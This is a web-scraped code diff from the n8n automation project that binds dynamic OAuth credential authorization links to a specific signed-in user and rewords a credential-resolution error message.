const ownership = await this.dynamicCredentialService.resolveOwningUserIdForAuthorization(
|
||||||
|
credentialContext,
|
||||||
|
resolverEntity.id,
|
||||||
|
);
|
||||||
|
|
||||||
const csrfData: CreateCsrfStateData = {
|
const csrfData: CreateCsrfStateData = {
|
||||||
cid: credential.id,
|
cid: credential.id,
|
||||||
origin: 'dynamic-credential',
|
origin: 'dynamic-credential',
|
||||||
authorizationHeader: req.headers.authorization ?? `Bearer ${credentialContext.identity}`,
|
authorizationHeader: req.headers.authorization ?? `Bearer ${credentialContext.identity}`,
|
||||||
authMetadata: credentialContext.metadata,
|
authMetadata: credentialContext.metadata,
|
||||||
credentialResolverId: req.query.resolverId,
|
credentialResolverId: req.query.resolverId,
|
||||||
|
userId: ownership.status === 'bound' ? ownership.userId : undefined,
|
||||||
};
|
};
|
||||||
|
|
||||||
if (credential.type.toLowerCase().includes('oauth2')) {
|
if (credential.type.toLowerCase().includes('oauth2')) {
|
||||||
|
|
@ -227,6 +240,36 @@ export class DynamicCredentialsController {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// When the link is bound to an n8n user, the clicker must be that user.
|
||||||
|
if (intent.userId) {
|
||||||
|
const user = isAuthenticatedRequest(req) ? req.user : undefined;
|
||||||
|
|
||||||
|
if (!user) {
|
||||||
|
this.eventService.emit('dynamic-credential-authorize-rejected', {
|
||||||
|
reason: 'unauthenticated',
|
||||||
|
credentialId: intent.credentialId,
|
||||||
|
});
|
||||||
|
// Absolute, same-origin http(s) URL so SigninView returns here after login.
|
||||||
|
const returnUrl = `${this.urlService.getInstanceBaseUrl()}${req.originalUrl}`;
|
||||||
|
res.redirect(
|
||||||
|
`${this.urlService.getInstanceBaseUrl()}/signin?redirect=${encodeURIComponent(returnUrl)}`,
|
||||||
|
);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (user.id !== intent.userId) {
|
||||||
|
this.eventService.emit('dynamic-credential-authorize-rejected', {
|
||||||
|
reason: 'user-mismatch',
|
||||||
|
credentialId: intent.credentialId,
|
||||||
|
});
|
||||||
|
this.oauthService.renderCallbackError(
|
||||||
|
res,
|
||||||
|
'This authorization link was issued for a different account. Sign in as the intended user and open the link again.',
|
||||||
|
);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const credential = await this.findCredentialToUse(intent.credentialId);
|
const credential = await this.findCredentialToUse(intent.credentialId);
|
||||||
|
|
||||||
|
|
@ -236,6 +279,7 @@ export class DynamicCredentialsController {
|
||||||
authorizationHeader: intent.identity ? `Bearer ${intent.identity}` : '',
|
authorizationHeader: intent.identity ? `Bearer ${intent.identity}` : '',
|
||||||
authMetadata: intent.metadata,
|
authMetadata: intent.metadata,
|
||||||
credentialResolverId: intent.resolverId,
|
credentialResolverId: intent.resolverId,
|
||||||
|
userId: intent.userId,
|
||||||
};
|
};
|
||||||
|
|
||||||
const authorizationUrl = credential.type.toLowerCase().includes('oauth2')
|
const authorizationUrl = credential.type.toLowerCase().includes('oauth2')
|
||||||
|
|
|
||||||
|
|
@ -1,9 +1,10 @@
|
||||||
import { TriggerAuthIdentitySeederProxy } from '@/services/trigger-auth-identity-seeder-proxy.service';
|
|
||||||
import { LICENSE_FEATURES } from '@n8n/constants';
|
import { LICENSE_FEATURES } from '@n8n/constants';
|
||||||
import type { ModuleInterface } from '@n8n/decorators';
|
import type { ModuleInterface } from '@n8n/decorators';
|
||||||
import { BackendModule, OnShutdown } from '@n8n/decorators';
|
import { BackendModule, OnShutdown } from '@n8n/decorators';
|
||||||
import { Container } from '@n8n/di';
|
import { Container } from '@n8n/di';
|
||||||
|
|
||||||
|
import { TriggerAuthIdentitySeederProxy } from '@/services/trigger-auth-identity-seeder-proxy.service';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Superset capability: external/custom credential resolvers (OAuth/Slack) plus
|
* Superset capability: external/custom credential resolvers (OAuth/Slack) plus
|
||||||
* their management surfaces and identity-extractor hooks. The base "private
|
* their management surfaces and identity-extractor hooks. The base "private
|
||||||
|
|
|
||||||
|
|
@ -5,8 +5,10 @@ import { CredentialResolutionError } from './credential-resolution.error';
|
||||||
* (or no credentials field within it) is available.
|
* (or no credentials field within it) is available.
|
||||||
*/
|
*/
|
||||||
export class MissingExecutionContextError extends CredentialResolutionError {
|
export class MissingExecutionContextError extends CredentialResolutionError {
|
||||||
constructor(credentialName: string) {
|
constructor() {
|
||||||
super(`Cannot resolve dynamic credentials without execution context for "${credentialName}"`);
|
super(
|
||||||
|
"This node uses an end-user credential, but no user could be identified for this run, so the credential for it couldn't be resolved",
|
||||||
|
);
|
||||||
this.name = 'MissingExecutionContextError';
|
this.name = 'MissingExecutionContextError';
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user